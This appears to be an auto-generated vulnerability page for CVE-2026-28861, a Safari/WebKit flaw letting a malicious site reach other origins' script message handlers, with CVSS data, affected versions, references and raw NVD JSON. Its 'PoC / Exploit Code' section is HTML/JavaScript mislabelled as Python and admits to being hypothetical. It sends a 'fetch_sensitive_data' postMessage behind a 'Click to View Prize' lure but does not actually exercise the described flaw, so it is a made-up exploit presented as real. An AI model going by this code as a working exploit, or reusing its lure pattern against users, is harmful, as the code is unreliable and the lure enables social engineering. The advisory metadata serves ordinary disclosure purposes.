CVE-2026-28861

Description

A logic issue was addressed with improved state management. This issue is fixed in Safari 26.4, iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Tahoe 26.4, visionOS 26.4. A malicious website may be able to access script message handlers intended for other origins.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.4

iOS < 18.7.7

iPadOS < 18.7.7

iOS < 26.4

iPadOS < 26.4

macOS Tahoe < 26.4

visionOS < 26.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-28861 (Conceptual)
Demonstrates accessing cross-origin message handlers due to logic issue.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-28861 PoC</title>
</head>
<body>
<script>
    // Simulate the logic issue where state management fails
    function exploit() {
        console.log("[+] Attempting to access script message handlers for other origins...");
        
        // Hypothetical trigger for the state management flaw
        // In a real scenario, this might involve timing attacks or specific DOM manipulation
        var targetWindow = window.open("https://trusted-target.com", "_blank");
        
        setTimeout(function() {
            if (targetWindow) {
                // Attempt to hook into message handlers intended for the trusted origin
                window.addEventListener('message', function(event) {
                    console.log("[+] Intercepted message from origin: " + event.origin);
                    console.log("[+] Data: " + event.data);
                    // This indicates successful bypass of the origin check
                });
                
                // Send a message that should only be processed by the target
                targetWindow.postMessage("fetch_sensitive_data", "*"); 
            }
        }, 1000);
    }
    
    // Trigger on user interaction as required by UI:R
    document.body.innerHTML = '<button onclick="exploit()">Click to View Prize</button>';
    console.log("[!] User interaction required to trigger the payload.");
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28861
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28861
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28861/
[4] VulDB https://vuldb.com/cve/CVE-2026-28861
[5] https://support.apple.com/en-us/126792
[6] https://support.apple.com/en-us/126793
[7] https://support.apple.com/en-us/126794
[8] https://support.apple.com/en-us/126799
[9] https://support.apple.com/en-us/126800

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-28861", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:10.130", "lastModified": "2026-05-10T14:16:48.940", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logic issue was addressed with improved state management. This issue is fixed in Safari 26.4, iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Tahoe 26.4, visionOS 26.4. A malicious website may be able to access script message handlers intended for other origins."}, {"lang": "es", "value": "Se abordó un problema de lógica con una gestión de estado mejorada. Este problema se solucionó en Safari 26.4, iOS 18.7.7 y iPadOS 18.7.7, iOS 26.4 y iPadOS 26.4, macOS Tahoe 26.4, visionOS 26.4. Un sitio web malicioso podría acceder a manejadores de mensajes de script destinados a otros orígenes."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "993386B4-0570-414F-B4A6-3E65F5704903"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.7", "matchCriteriaId": "118313FD-8CF6-4412-B1A8-4BC3D5C2F519"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "F201257D-2F7C-43AA-BD51-ED5EC98F99E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.7", "matchCriteriaId": "684E10EB-D01A-4E80-8764-B48B554B0B5E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "F7F08C35-7A60-4FEC-8D44-533902F43EDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "DCFD15D9-91CA-4342-9F7E-A219B459B755"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "113B9705-BFF0-4357-B1AB-F57052F32361"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126792", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126793", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126799", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126800", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}